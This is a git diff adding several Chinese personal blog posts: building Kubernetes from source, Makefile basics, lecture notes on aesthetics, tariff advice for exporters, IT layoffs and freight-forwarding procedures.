~]# netstat -antpl | grep 100.100.30.54 +[root@baoguo ~]# watch -n 1 " netstat -antpl |grep 100.100.30.54 " +``` \ No newline at end of file diff --git a/_posts/2019-04-29-362-build-k8s.md b/_posts/2019-04-29-362-build-k8s.md new file mode 100644 index 0000000..dc34da6 --- /dev/null +++ b/_posts/2019-04-29-362-build-k8s.md @@ -0,0 +1,80 @@ +--- +layout: post +title: build k8s +pid: 362 +tags: [k8s] +--- + +总有很多琐碎的事情，你不得不做~ + +言归正传，搞起~ + +在阅读和理解k8s的过程中，我尝试这样来做： + +1. 学习GO语言 +2. 学习cobra框架 +3. 本地编译运行k8s + +编译的2中方式： + +1. 本地二进制可执行文件编译 +2. docker镜像编译两种 + +安装Git + +```shell +yum install git +git version +``` + +安装Golang +```shell +wget -c https://dl.google.com/go/go1.11.4.linux-amd64.tar.gz -P /opt/ +cd /opt/ +tar -C /usr/local -xzf go1.11.4.linux-amd64.tar.gz +echo "export PATH=$PATH:/usr/local/go/bin" >> /etc/profile && source /etc/profile +go version +``` + +下载 Kubernetes 源代码 + +```shell +mkdir -p $GOPATH/src/k8s.io +cd $GOPATH/src/k8s.io +git clone https://github.com/kubernetes/kubernetes -b release-1.13 +cd $GOPATH/src/k8s.io/kubernetes +``` + +本地二进制文件编译Kubernetes（方法一） + +vim hack/lib/golang.sh + +把KUBE_SERVER_PLATFORMS，KUBE_CLIENT_PLATFORMS和KUBE_TEST_PLATFORMS中除linux/amd64以外的其他平台注释掉，以此来减少编译所用时间。 + +```shell +make clean && make WHAT=cmd/kubelet +cd /src/k8s.io/kubernetes/_output +``` + +或者 + +```shell +cd cmd/kubelet/ +go build -v +``` + +Docker镜像编译Kubernetes（方法二） + +```shell +cd kubernetes +make clean +KUBE_BUILD_PLATFORMS=linux/amd64 KUBE_BUILD_CONFORMANCE=n KUBE_BUILD_HYPERKUBE=n make release-images GOFLAGS=-v GOGCFLAGS="-N -l" +``` + +其中KUBE_BUILD_PLATFORMS=linux/amd64指定目标平台为linux/amd64，GOFLAGS=-v开启verbose日志，GOGCFLAGS=”-N -l”禁止编译优化和内联，减小可执行程序大小。 + +# 参考 + ++ [编译和运行Kubernetes源码](https://xuchao918.github.io/2019/01/26/%E7%BC%96%E8%AF%91%E5%92%8C%E8%BF%90%E8%A1%8CKubernetes%E6%BA%90%E7%A0%81/) ++ [我是怎么阅读kubernetes源代码的](http://dockone.io/article/895) ++ [Building Kubernetes](https://github.com/kubernetes/kubernetes/tree/master/build/) \ No newline at end of file diff --git a/_posts/2019-04-29-363-make.md b/_posts/2019-04-29-363-make.md new file mode 100644 index 0000000..ab575d0 --- /dev/null +++ b/_posts/2019-04-29-363-make.md @@ -0,0 +1,90 @@ +--- +layout: post +title: make +pid: 363 +tags: [linux] +--- + +我希望在Windows下搭建一个开发环境，这样可以方便： + +1. 理解k8s源代码 +2. 自定义或者修改一些内容 +3. 方便以后k8s持续集成 + +但是，我掉沟里面了,我没有知道一个相对直观的教程，有的都是繁琐的过程，扎心了~ + +所以，我决定，我先理解一下编译过程，然后再做深入的学习。 + +先看 make + + +# make MAKEFLAGS + +```shell +MAKEFLAGS += --silent +``` + +缩写为 + +```shell +MAKEFLAGS += -s +``` + +包含MAKEFLAGS的示例 + +```shell +MAKEFLAGS += -s + +hello1: + echo hello1 + +hello2: + echo hello2 + +.PHONY: hello1 hello2 +``` + +输出结果 + +```shell +hello1 +hello2 +``` + +不包含MAKEFLAGS的示例 + +```shell +# MAKEFLAGS += -s + +hello1: + echo hello1 + +hello2: + echo hello2 + +.PHONY: hello1 hello2 +``` + +输出结果 + +```shell +echo hello1 +hello1 +echo hello2 +hello2 +``` + + + + + + +# 参考 + ++ [Make 命令教程](http://www.ruanyifeng.com/blog/2015/02/make.html) ++ [隐含规则](https://seisman.github.io/how-to-write-makefile/implicit_rules.html) ++ [Makefile用法，详细到让人吐](https://www.cnblogs.com/aoyihuashao/archive/2010/01/18/1650865.html) ++ [Makefile中指示符](https://blog.csdn.net/xiaozhi_su/article/details/4202779) ++ [Makefile中指示符“include”、“-include”和“sinclude”的区别](https://blog.csdn.net/xiaozhi_su/article/details/4202779) ++ [linux bash中的三目运算符](https://blog.csdn.net/xiao_jun_0820/article/details/42101321) ++ [google的shell（编程）风格指南](https://www.jianshu.com/p/09abb264ab95) \ No newline at end of file diff --git a/_posts/2019-05-05-364-aesthetics.md b/_posts/2019-05-05-364-aesthetics.md new file mode 100644 index 0000000..fab58e1 --- /dev/null +++ b/_posts/2019-05-05-364-aesthetics.md @@ -0,0 +1,546 @@ +--- +layout: post +title: 美学思维 +pid: 364 +tags: [哲科思维] +--- + +20190503，我有幸参加《美学思维》。 + +《美学的魅力-理性之外，生活之中》 + + +外感官、内感官、理性 + +感性包括外感官获得的感觉和内感官获得的直觉。美学研究的是感性，主要指内感官的直觉。 + +内感官（直觉、想象）处于感性与理性之间。 + +哈奇森将内感官视为美感。 + +美学的三个研究对象：美、感性认识、艺术 + +“这些演讲是讨论美学的；它的对象就是广大的美的领域，说的更精确一点，它的范围就是艺术，毋宁说，就是没的艺术。 + +对于这种对象，‘伊斯特惕克’这个名称实在是不完全恰当的，因为‘伊斯特惕克’的比较精确的意义是研究感觉和情感的科学，……有人想找出另外的名称，例如‘卡力斯惕克’。但是这个名称也还不妥，因为所指的科学所讨论的并非一般的美，而只是艺术的美。因此，我们姑且用‘伊斯特惕克’这个名称，因为名称本身对我们并无关宏旨，而且这个名称既已为一般语言所采用，就无妨保留，我们的这门学科的正当名称却是‘艺术哲学’，或者更确切一点，‘美的艺术的哲学。” + +黑格尔（1770-1831）《美学》“全书序论” + +美学的不同导向 + +盖耶发现，在美学确立的18世纪，至少有三种导向的美学在相互竞争，即认知导向美学、游戏导向美学与激情导向美学，它们分别侧重审美经验的不同功能。 + +认知导向的美学侧重审美经验具有认识某些特殊存在的功能。不借助美，这些存在就无法被揭示出来。例如，在夏夫兹博里看来，美实际上是宇宙秩序的表现，甚至是创作宇宙秩序的神灵的表现，正是借助美，我们认识到宇宙秩序的存在，认识到神灵的存在。 + +游戏导向的美学侧重审美经验对想象力的激发功能，只有在审美经验中，想象力才可以进入自由游戏状态，并由此产生快乐。 + +例如， 在艾迪生看来，想象的目的就是快乐。在感官中寻找快乐通常会被批评为享乐主义，在想象中寻找快乐则不会有道德压力，由此可见想象的快乐不同于感官的快乐。想象的快乐也不同于知性的快乐，想象的快乐要更加轻松，知性的快乐则需要苦思冥想、伤神费脑才能获得。 + +激情导向的美学侧重审美经验对激情的唤起功能，审美激情有助于我们从沉闷的日常经验中释放出来。例如，杜博斯就强调艺术具有唤起激情的功能。没有激情，生命就暗淡无光。不过，审美的激情不同于实际的激情。诸如赌徒或嗑药等唤起的实际的激情往往会伴有痛苦的后果，不值得为了短暂的快乐而承受长期的痛苦。于是，我们需要艺术。因为艺术唤起的激情只是虚设的激情，它既能让生命换发光彩，又不会引发痛苦的后果。 + +美从美学研究之中淡出 + +到了20世纪，美逐渐从美学研究中淡出。 + +原因主要有两个方面： + +一方面因为艺术不再以美为目标， + +另一方面因为分析将美的问题消解了。 + +现代艺术的美学麻木化倾向 + +我有一种狂热的念头要杀死美。 ——特里斯坦.查拉 + +现代艺术的冲动，就是摧毁美。 ——纽曼 + +现代艺术对美和审美经验的敌视，被美学家舒斯特曼称之为美学麻木化。 + +现代艺术敌视美的社会背景 + +舒斯特曼：在经历了两次可怕的世界大战之后，艺术家开始对美和审美经验的作用和价值产生怀疑，因为能够给人提供美和令人愉快的审美经验的艺术，对于终止战争的丑恶毫无作为。最有文化的和在审美上最发达的欧洲国家，在战争中也是最邪恶的和最具破坏性的。那些在战争中毫无怜悯和同情心的人，正是在审美经验中被感动得潸然泪下的人。美和审美经验与文明社会的恐怖之间的合谋，使得艺术家们开始拒斥审美经验中的愉快情感。 + +![](/uploads/2019/05/05-01.jpg) + +Barnett Newman, Who's Afraid of Red, Yellow and Blue, 1967-68 + +丹托：美的滥用 + +不会因为丑的艺术是好的，丑就变成了美。 + +将审美之美与更宽泛意义上的艺术卓越性区别开来，这是极其重要的。审美之美与艺术卓越性可以毫不相关。 + +如果一副绘画的目的是激发你的欲望，那么它是美的就是合适的。 + +如果它的目标是要激发憎恶，它是恶心的或许更加合适。 + +好的艺术可以是丑的。 + +![](/uploads/2019/05/05-02.jpg) + +Damien Hirst: 生者对死者无动于衷 + +![](/uploads/2019/05/05-03.jpg) + +Sam Taylor Wood: 小小的死亡 + +以美为研究对象的美学一定会落空 + +维特根斯坦对于美与红的区别： + +花是红的。 + +花是美的。 + +维特根斯坦的分析很锐利，但也过于严苛。美有不同的用法。 + +美的概念分析 + +彭锋 + +[北京大学，北京 100871] + +关键词：美； 评价； 认识； 本体 + +摘要：在美学的话语中，我们至少可以区分三种美的概念：作为评价概念的美，作为认识概念的美和作为本体概念的美，美学领域中的许多问题，源于对这三种概念的混淆，本文力图澄清这三种概念的含义，分析它们在美学理论中的表现以及造成混淆的某些可能，目的是避免因为概念错位而导致的毫无意义的争论。 + +中图分类号：B83 - 02 文献标识码： A 文章编号： 1671 - 7511 （2013） 02 - 0100 - 06 + +美的用法还会因为文化的不同而不同 + +Six Names of Beauty —— CRISPIN SARTWELL + +卡西尔： 美是清楚明白的现象 + +美看来应当是最明明白白的人类现象之一。它没有沾染任何秘密和神秘的气息，它的品格和本性根本不需要任何复杂而难以捉摸的形而上学理论来解释。美就是人类经验的组成部分；它是明显可知而不会弄错的。然而，在哲学思想的历史上，美的现象却一直被弄成最莫名其妙的事。 + +![](/uploads/2019/05/05-04.jpg) + +![](/uploads/2019/05/05-05.jpg) + +![](/uploads/2019/05/05-06.jpg) + +![](/uploads/2019/05/05-07.jpg) + +![](/uploads/2019/05/05-08.jpg) + +![](/uploads/2019/05/05-09.jpg) + +![](/uploads/2019/05/05-10.jpg) + +![](/uploads/2019/05/05-11.jpg) + +![](/uploads/2019/05/05-12.jpg) + +影响审美的判断的生物法则 + +人民的选择 + +![](/uploads/2019/05/05-13.jpg) + +![](/uploads/2019/05/05-14.jpg) + +![](/uploads/2019/05/05-15.jpg) + +![](/uploads/2019/05/05-16.jpg) + +影响审美判断的文化习惯 + +中国：表现生动气韵 + +![](/uploads/2019/05/05-17.jpg) + +《击鼓说唱俑》（东汉） + +![](/uploads/2019/05/05-18.jpg) + +西方：用身体来表现 + +![](/uploads/2019/05/05-19.jpg) + +安格尔：《瓦平松的浴女》 + +![](/uploads/2019/05/05-20.jpg) + +马奈：奥利匹亚 + +![](/uploads/2019/05/05-21.jpg) + +弗洛伊德：沉睡的救济金管理员 + +![](/uploads/2019/05/05-22.jpg) + +中国：用衣冠来表现 + +![](/uploads/2019/05/05-23.jpg) + +《竹林七贤》，南京西善桥出土 + +![](/uploads/2019/05/05-24.jpg) + +曾鲸：《王时敏像》 + +中国：用衣冠来表现 + +![](/uploads/2019/05/05-25.jpg) + +![](/uploads/2019/05/05-26.jpg) + +![](/uploads/2019/05/05-27.jpg) + +西方：用数理做依据 + +![](/uploads/2019/05/05-28.jpg) + +Leonardo da Vinci, Vitruvian Man,1485 + +中国：用气象做依据 + +![](/uploads/2019/05/05-29.jpg) + +梁楷：《李白行吟图》 + +西方：最求静态平衡 + +![](/uploads/2019/05/05-30.jpg) + +中国：追求动态平衡 + +![](/uploads/2019/05/05-31.jpg) + +![](/uploads/2019/05/05-32.jpg) + +Path to the ?? + +西方：追求恢弘 + +![](/uploads/2019/05/05-33.jpg) + +Turner: Steamer in a Snowstorm, 1842 + +中国：追求平淡 + +![](/uploads/2019/05/05-34.jpg) + +弘仁：《雨余柳色图》 + +西方：走向极致 + +![](/uploads/2019/05/05-35.jpg) + +![](/uploads/2019/05/05-36.jpg) + +中国：维持中庸 + +![](/uploads/2019/05/05-37.jpg) + +![](/uploads/2019/05/05-38.jpg) + +管道昇，Guan Gaosheng，1262-1319，竹石图，Bamboo and Rocks + +藏台北故宫博物院 + +纸本墨笔 86.6x28.5 + +![](/uploads/2019/05/05-39.jpg) + +文征明：墨竹图Ink Bamboo + +藏吉林省博物馆 + +纸本墨笔 60x30 + +![](/uploads/2019/05/05-40.jpg) + +![](/uploads/2019/05/05-41.jpg) + +![](/uploads/2019/05/05-42.jpg) + +中国：重气势、神韵 + +![](/uploads/2019/05/05-43.jpg) + +西方：重结构、象征 + +![](/uploads/2019/05/05-44.jpg) + +西方的东方 + +![](/uploads/2019/05/05-45.jpg) + +![](/uploads/2019/05/05-46.jpg) + +东方的西方 + +![](/uploads/2019/05/05-47.jpg) + +![](/uploads/2019/05/05-48.jpg) + +![](/uploads/2019/05/05-49.jpg) + +影响审美判断的个人策略 + +利奥塔的后现代观念 + +什么是后现代？……它无疑是现代的一部分。所有接受到的东西都必须被怀疑，即便它只有一天的历史……塞尚挑战的是什么样的空间？印象主义者的空间。毕加索和布拉克挑战的是什么样的物体？塞尚的物体。杜尚在1912年与何种预先假定决裂？与人们必须制作一幅画——即便是立体主义的画——的想法。而布伦又检验了他认为在杜尚的作品中安然无损的另一预先假定：作品的展示地点。“一代一代”以令人吃惊的速度闪过。一部作品只有首先是后现代的才能是现代的。这样理解之后，后现代主义就不是穷途末路的现代主义，而是现代主义的新生状态，而这一状态是一再出现的。 + +![](/uploads/2019/05/05-50.jpg) + +Pissarro: Montmartre sunny afternoon + +![](/uploads/2019/05/05-51.jpg) + +Paul Cezanne, Mont Sainte-Victoire, 1885-1895 + +![](/uploads/2019/05/05-52.jpg) + +毕加索：提琴与葡萄 + +![](/uploads/2019/05/05-53.jpg) + +布拉克：小提琴和竖琴 + +![](/uploads/2019/05/05-54.jpg) + +杜尚：自行车车轮 + +![](/uploads/2019/05/05-55.jpg) + +布伦：布伦的圆柱 + +![](/uploads/2019/05/05-56.jpg) + +布伦：《从天空到天坛》（2004，北京） + +![](/uploads/2019/05/05-57.jpg) + +美的定义 + ++ 美在比例 ++ 美在和谐或多样统一 ++ 美在效用或适当 + +对美在比例的批判 + +博克明确反对美在比例： + +将我们的目光转向植物，我们会在那里发现没有比花更美的东西；但是花差不多具有各种各样的形状，具有各种各样的配置。……那里的许多鸟儿都极大地不同于这些[比例]标准的任何一种，不同于任何其他的你可以用另外的比例确定的东西，它们还常常刚好相互对立！但许多这种鸟儿都非常美丽。 + +美在和谐 + +![](/uploads/2019/05/05-58.jpg) + +对美是和谐或多样统一的批判 + +克姆斯明确反对美在和谐或多样统一： + +“虽然[这个]定义可能适用于这样或那样的类型，但远非就是有关一般意义上的美：多样性与道德行为的完美完全无关，与数学定理也完全无关……丑的对象中的多样统一，也不提供任何愉快。……将美定义为源自以一种多样统一的适当比例混合起来的美的对象，是完全错误的以至于不能流行于世。” + +美在效用 + +粪筐是美的，金盾却是丑的，如果粪筐适用而金盾不适用。 ——苏格拉底 + +对美在效用的批判 + +唐纳德森明确反对美在效用或适当： + +“一只癞蛤蟆就像一只雉鸠一样符合其本性的目的；我们可以评论人工装饰物，它们通常很少或没有效用。” + +一般意义上的美与美学意义上的美 + +一般意义上的美就是优美。 + +美学意义上的美指具有审美价值的事物或审美对象。 + +![](/uploads/2019/05/05-59.jpg) + +![](/uploads/2019/05/05-60.jpg) + +![](/uploads/2019/05/05-61.jpg) + +明确可感而茫然无知的美 + +不提问时，人们还清楚地知道时间是什么，一旦有人问起来，人们就茫然无知了。——奥古斯丁 + +李渔《闲情偶记.态度》 + +古云：“尤物足以移人。”尤物维何？媚态是已。世人不知，以为美色，乌知颜色虽美，是一物也，乌足移人？加之以态，则物而尤矣。如云美色即是尤物，即可移人，则今时绢做之美女，画上之娇娥，其颜色较之生人，岂止十倍，何以不见移人，而使之害相思成郁病耶？是知“媚态”二字，必不可少。媚态之在人身，犹火之有焰，灯之有光，珠贝金银之有宝色，是无形之物，非有形之物也。惟其是物而非物，无形似有形，是以名为“尤物”。尤物者，怪物也，不可解说之事也。凡女子，一见即令人思，思而不能自己，遂至舍命以图，与生为难者，皆怪物也，皆不可解说之事也。 + +人问：圣贤神化之事，皆可造诣而成，岂妇人媚态独不可学而至乎？予曰：学则可学，教则不能。人又问：既不能教，胡云可学？予曰：使无态之人与有态者同剧，朝夕薰陶，或能为其所化；如蓬生麻中，不扶自直，鹰变成鸠，形为气感，是则可矣。若欲耳提而面命之，则一部《廿一史》，当从何处说起？还怕愈说愈增其木强，奈何！ + +美在“之间” + +作画妙在似与不似之间。太似为媚俗，不似为欺世。 ——齐白石 + +![](/uploads/2019/05/05-62.jpg) + +本雅明对于“写（图像）意（文学）”的说明 + +中国书法和它的“墨戏”因此将自身呈现为一种高度活动之物。尽管具有[笔画]连接和形式的[文字]符号被固定在纸上，但是它们包含的众多的“相似”，给它们提供了动态。这些虚拟的相似，它们通过一笔一画表现出来，形成了一面镜子，思想在一种相似或者共振的气氛中被映照出来。事实上，这些相似并非相互排斥的。他们相互缠绕，构成一个整体，确保思想[发生]，就像微风确保薄纱[拂动]一样。中国人用来指称这种书写的“写意”一词，也就是将观念描绘出来，就这个方面来说，是非常生动形象的。 + +汉语最适合表现“之间”的美 + +![](/uploads/2019/05/05-63.jpg) + +![](/uploads/2019/05/05-64.jpg) + + +# 学习美学的方法 + +1. 体验研究 + +美学的教学和研究最好在博物馆中进行。 ——Max Dessoir(1867-1947) + +Arthur Danto 出席展览开幕式最多的美学家 + +1945年后英语圈排名第一的艺术哲学家 + +![](/uploads/2019/05/05-65.jpg) + +我认为生活在20世纪中后期的纽约就是生活在哲学家的乐园，因为当时的艺术界一个接一个地抛出最令人惊讶的概念类型的范例。如果某人这些年在哲学上对艺术有兴趣，却生活在世界上的其他地方，这对他来说就太不幸了。我对自己那个时候生活在纽约总是心存感激。我觉得只有在那个时期的纽约才有可能做艺术哲学，这种可能性在历史上任何其他地方都没有出现。 —— The Philosophy of Arthur C.Danto(Library of Living Philosophers) + +![](/uploads/2019/05/05-66.jpg) + +2. 研究研究 + +![](/uploads/2019/05/05-67.jpg) + +![](/uploads/2019/05/05-68.jpg) + +美学研究的三个层次 + ++ 艺术实践 ++ 艺术批评 ++ 美学理论、艺术哲学、元批评或者批评批评 + +3. 主要数目 + +国内 + ++ 朱光潜：《文艺心理学》、《谈美》、《无言之美》 ++ 宗白华：《美学散步》 ++ 徐复观：《中国艺术精神》 ++ 李泽厚：《美的历程》、《华夏美学》、《美学四讲》 ++ 叶郎：《中国美学史大纲》、《美学原理》 + +国外 + +![](/uploads/2019/05/05-69.jpg) + +# 日常生活审美化 + +由审美走向美好生活 + +![](/uploads/2019/05/05-70.jpg) + +![](/uploads/2019/05/05-71.jpg) + +![](/uploads/2019/05/05-72.jpg) + +![](/uploads/2019/05/05-73.jpg) + +艺术体制将审美与生活隔离开来 + +![](/uploads/2019/05/05-74.jpg) + +但是，艺术一直在努力冲破第四堵墙 + +![](/uploads/2019/05/05-75.jpg) + +![](/uploads/2019/05/05-76.jpg) + +![](/uploads/2019/05/05-77.jpg) + +![](/uploads/2019/05/05-78.jpg) + +![](/uploads/2019/05/05-79.jpg) + +![](/uploads/2019/05/05-80.jpg) + +![](/uploads/2019/05/05-81.jpg) + +![](/uploads/2019/05/05-82.jpg) + +![](/uploads/2019/05/05-83.jpg) + +![](/uploads/2019/05/05-84.jpg) + +![](/uploads/2019/05/05-85.jpg) + +![](/uploads/2019/05/05-86.jpg) + +![](/uploads/2019/05/05-87.jpg) + +![](/uploads/2019/05/05-88.jpg) + +![](/uploads/2019/05/05-89.jpg) + +![](/uploads/2019/05/05-90.jpg) + +![](/uploads/2019/05/05-91.jpg) + +![](/uploads/2019/05/05-92.jpg) + +![](/uploads/2019/05/05-93.jpg) + +![](/uploads/2019/05/05-94.jpg) + +![](/uploads/2019/05/05-95.jpg) + +![](/uploads/2019/05/05-96.jpg) + +![](/uploads/2019/05/05-97.jpg) + +![](/uploads/2019/05/05-98.jpg) + +![](/uploads/2019/05/05-99.jpg) + +![](/uploads/2019/05/05-100.jpg) + +![](/uploads/2019/05/05-101.jpg) + +![](/uploads/2019/05/05-102.jpg) + +![](/uploads/2019/05/05-103.jpg) + +![](/uploads/2019/05/05-104.jpg) + +![](/uploads/2019/05/05-105.jpg) + +![](/uploads/2019/05/05-106.jpg) + +![](/uploads/2019/05/05-107.jpg) + +![](/uploads/2019/05/05-108.jpg) + +![](/uploads/2019/05/05-109.jpg) + +![](/uploads/2019/05/05-110.jpg) + +![](/uploads/2019/05/05-111.jpg) + +![](/uploads/2019/05/05-112.jpg) + +![](/uploads/2019/05/05-113.jpg) + +![](/uploads/2019/05/05-114.jpg) + +![](/uploads/2019/05/05-115.jpg) + +![](/uploads/2019/05/05-116.jpg) + +![](/uploads/2019/05/05-117.jpg) + +![](/uploads/2019/05/05-118.jpg) + +![](/uploads/2019/05/05-119.jpg) + +![](/uploads/2019/05/05-120.jpg) + +![](/uploads/2019/05/05-121.jpg) + +![](/uploads/2019/05/05-122.jpg) + +![](/uploads/2019/05/05-123.jpg) + +![](/uploads/2019/05/05-124.jpg) diff --git a/_posts/2019-05-06-365-aesthetics.md b/_posts/2019-05-06-365-aesthetics.md new file mode 100644 index 0000000..a9d88a9 --- /dev/null +++ b/_posts/2019-05-06-365-aesthetics.md @@ -0,0 +1,300 @@ +--- +layout: post +title: 审美与趣味 +pid: 365 +tags: [哲科思维] +--- + + + +![](/uploads/2019/05/06-01.jpg) + +![](/uploads/2019/05/06-02.jpg) + +![](/uploads/2019/05/06-03.jpg) + +![](/uploads/2019/05/06-04.jpg) + +![](/uploads/2019/05/06-05.jpg) + +![](/uploads/2019/05/06-06.jpg) + +![](/uploads/2019/05/06-07.jpg) + +![](/uploads/2019/05/06-08.jpg) + +![](/uploads/2019/05/06-09.jpg) + +![](/uploads/2019/05/06-10.jpg) + +![](/uploads/2019/05/06-11.jpg) + +![](/uploads/2019/05/06-12.jpg) + +![](/uploads/2019/05/06-13.jpg) + +![](/uploads/2019/05/06-14.jpg) + +![](/uploads/2019/05/06-15.jpg) + +![](/uploads/2019/05/06-16.jpg) + +![](/uploads/2019/05/06-17.jpg) + +![](/uploads/2019/05/06-18.jpg) + +![](/uploads/2019/05/06-19.jpg) + +![](/uploads/2019/05/06-20.jpg) + +![](/uploads/2019/05/06-21.jpg) + +![](/uploads/2019/05/06-22.jpg) + +![](/uploads/2019/05/06-23.jpg) + +![](/uploads/2019/05/06-24.jpg) + +![](/uploads/2019/05/06-25.jpg) + +![](/uploads/2019/05/06-26.jpg) + +![](/uploads/2019/05/06-27.jpg) + +![](/uploads/2019/05/06-28.jpg) + +![](/uploads/2019/05/06-29.jpg) + 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+![](/uploads/2019/05/06-58.jpg) + +![](/uploads/2019/05/06-59.jpg) + +![](/uploads/2019/05/06-60.jpg) + +![](/uploads/2019/05/06-61.jpg) + +![](/uploads/2019/05/06-62.jpg) + +![](/uploads/2019/05/06-63.jpg) + +![](/uploads/2019/05/06-64.jpg) + +![](/uploads/2019/05/06-65.jpg) + +![](/uploads/2019/05/06-66.jpg) + +![](/uploads/2019/05/06-67.jpg) + +![](/uploads/2019/05/06-68.jpg) + +![](/uploads/2019/05/06-69.jpg) + +![](/uploads/2019/05/06-70.jpg) + +![](/uploads/2019/05/06-71.jpg) + +![](/uploads/2019/05/06-72.jpg) + +![](/uploads/2019/05/06-73.jpg) + +![](/uploads/2019/05/06-74.jpg) + +![](/uploads/2019/05/06-75.jpg) + +![](/uploads/2019/05/06-76.jpg) + +![](/uploads/2019/05/06-77.jpg) + +![](/uploads/2019/05/06-78.jpg) + +![](/uploads/2019/05/06-79.jpg) + +![](/uploads/2019/05/06-80.jpg) + +![](/uploads/2019/05/06-81.jpg) + +![](/uploads/2019/05/06-82.jpg) + +![](/uploads/2019/05/06-83.jpg) + +![](/uploads/2019/05/06-84.jpg) + +![](/uploads/2019/05/06-85.jpg) + +![](/uploads/2019/05/06-86.jpg) + +![](/uploads/2019/05/06-87.jpg) + +![](/uploads/2019/05/06-88.jpg) + +![](/uploads/2019/05/06-89.jpg) + +![](/uploads/2019/05/06-90.jpg) + +![](/uploads/2019/05/06-91.jpg) + +![](/uploads/2019/05/06-92.jpg) + +![](/uploads/2019/05/06-93.jpg) + +![](/uploads/2019/05/06-94.jpg) + +![](/uploads/2019/05/06-95.jpg) + +![](/uploads/2019/05/06-96.jpg) + +![](/uploads/2019/05/06-97.jpg) + +![](/uploads/2019/05/06-98.jpg) + +![](/uploads/2019/05/06-99.jpg) + +![](/uploads/2019/05/06-100.jpg) + +![](/uploads/2019/05/06-101.jpg) + +![](/uploads/2019/05/06-102.jpg) + +![](/uploads/2019/05/06-103.jpg) + +![](/uploads/2019/05/06-104.jpg) + +![](/uploads/2019/05/06-105.jpg) + +![](/uploads/2019/05/06-106.jpg) + +![](/uploads/2019/05/06-107.jpg) + +![](/uploads/2019/05/06-108.jpg) + +![](/uploads/2019/05/06-109.jpg) + +![](/uploads/2019/05/06-110.jpg) + +![](/uploads/2019/05/06-111.jpg) + +![](/uploads/2019/05/06-112.jpg) + +![](/uploads/2019/05/06-113.jpg) + +![](/uploads/2019/05/06-114.jpg) + +![](/uploads/2019/05/06-115.jpg) + +![](/uploads/2019/05/06-116.jpg) + +![](/uploads/2019/05/06-117.jpg) + +![](/uploads/2019/05/06-118.jpg) + +![](/uploads/2019/05/06-119.jpg) + +![](/uploads/2019/05/06-120.jpg) + +![](/uploads/2019/05/06-121.jpg) + +![](/uploads/2019/05/06-122.jpg) + +![](/uploads/2019/05/06-123.jpg) + +![](/uploads/2019/05/06-124.jpg) + +![](/uploads/2019/05/06-125.jpg) + +![](/uploads/2019/05/06-126.jpg) + +![](/uploads/2019/05/06-127.jpg) + +![](/uploads/2019/05/06-128.jpg) + +![](/uploads/2019/05/06-129.jpg) + +![](/uploads/2019/05/06-130.jpg) + +![](/uploads/2019/05/06-131.jpg) + +![](/uploads/2019/05/06-132.jpg) + +![](/uploads/2019/05/06-133.jpg) + +![](/uploads/2019/05/06-134.jpg) + +![](/uploads/2019/05/06-135.jpg) + +![](/uploads/2019/05/06-136.jpg) + +![](/uploads/2019/05/06-137.jpg) + +![](/uploads/2019/05/06-138.jpg) + +![](/uploads/2019/05/06-139.jpg) + +![](/uploads/2019/05/06-140.jpg) + +![](/uploads/2019/05/06-141.jpg) + +![](/uploads/2019/05/06-142.jpg) + +![](/uploads/2019/05/06-143.jpg) + +![](/uploads/2019/05/06-144.jpg) + +![](/uploads/2019/05/06-145.jpg) + +![](/uploads/2019/05/06-146.jpg) \ No newline at end of file diff --git a/_posts/2019-05-10-366-tariff.md b/_posts/2019-05-10-366-tariff.md new file mode 100644 index 0000000..34f4c46 --- /dev/null +++ b/_posts/2019-05-10-366-tariff.md @@ -0,0 +1,25 @@ +--- +layout: post +title: 谨防当前形势下，美国收货人弃货 +pid: 366 +tags: [货代] +--- + +谨防当前形势下，美国收货人弃货 + +一、出口前：厘清关税承担 + +尽快梳理贸易合同约定的贸易术语，明确加征关税的承担主体。安排出运前，坦诚与买方就货物是否仍继续出运、加征关税的承担主体和具体方式等问题进行协商，并留存书面依据。 + +小贴士： +在无其他特殊约定情况下，C 组、E 组、F 组贸易术语下关税一般由买方承担；D组贸易术语关税一般由出口企业承担。 + + +二、已出货：防范拒收风险、及时减损处置 + +对于已出运的在途货物，买方的清关提货意愿可能因加征关税而受到影响，如买方明确表示拒收货物或不配合履行清关提货义务，已投保相关保险的外贸人，请注意保险合同约定时限，及时向保险公司报损及早协商货物处理方案。 + + +三、未来订单：协商消化加税影响 + +考虑未来长期合作关系，建议出口企业与海外买方、国内当地政府/海关多方保持信息沟通，协商对税款成本消化方案。 \ No newline at end of file diff --git a/_posts/2019-05-10-367-fire.md b/_posts/2019-05-10-367-fire.md new file mode 100644 index 0000000..7f6a443 --- /dev/null +++ b/_posts/2019-05-10-367-fire.md @@ -0,0 +1,28 @@ +--- +layout: post +title: 裁员，IT人怎么办？ +pid: 367 +tags: [岗前培训] +--- + +前有新电裁员，现有甲骨文裁员，不到一年，这一切，发生的太快。 + +如果40岁，我会被裁员，现在，我该做什么？ + +思考一下： + ++ 你的公司是不是一个纯粹的技术型公司? ++ [软件开发算不算是真正的知识？](http://www.baoguoding.com/2018/10/298-dev.html) ++ 公司的基因能否在创造经济价值方面能够提供推动力量？ + +我们能做的是： + ++ 熟悉技术和架构 ++ 熟悉业务场景与领域知识 ++ 将业务场景和技术整合起来 ++ 通过行之有效的管理方法来产生经济效益 + +技术需要借助于业务才能够体现出它的价值。 + +参考： +[假如40岁时会被裁员，从现在开始你会怎么做？](https://mp.weixin.qq.com/s/nsIawlc3XPmzHRq2bh-WiA) \ No newline at end of file diff --git a/_posts/2019-05-30-368-hd1.md b/_posts/2019-05-30-368-hd1.md new file mode 100644 index 0000000..11a2a1f --- /dev/null +++ b/_posts/2019-05-30-368-hd1.md @@ -0,0 +1,124 @@ +--- +layout: post +title: 教科书级货代操作流程，有图有真相！ +pid: 368 +tags: [货代] +--- + +![](/uploads/2019/05/30-01.jpg) + +1、海运询价： + +①需掌握发货港至各大洲，各大航线常用的，及货主常需服务的港口，价格；②主要船公司船期信息；③需要时应向询价货主问明一些类别信息，如货名，危险级别等。（水路危规） + + +2、陆运询价：（人民币费用） + +①需掌握各大主要城市公里数和拖箱价格；②各港区装箱价格；③报关费、商检、动植检收费标准。 + + +3、不能及时提供的，需请顾客留下电话、姓氏等联系要素，以便在尽可能短的时间内回复货主。 + +![](/uploads/2019/05/30-02.jpg) + +接受货主委托后（一般为传真件）需明确的重点信息： + +1、船期、件数 + +2、箱型、箱量 + +3、毛重 + +4、 体积各项型最大体积为：(长*宽*高)可装体积，可装重量 + +1×20’GP=31CBM 6\*2.38\*2.382517MT + +1×40’GP=67CBM 12\*2.38\*2.385525MT + +1×40’HC=76CBM 12\*2.7\*2.38 + +1×45’GP=86CBM + 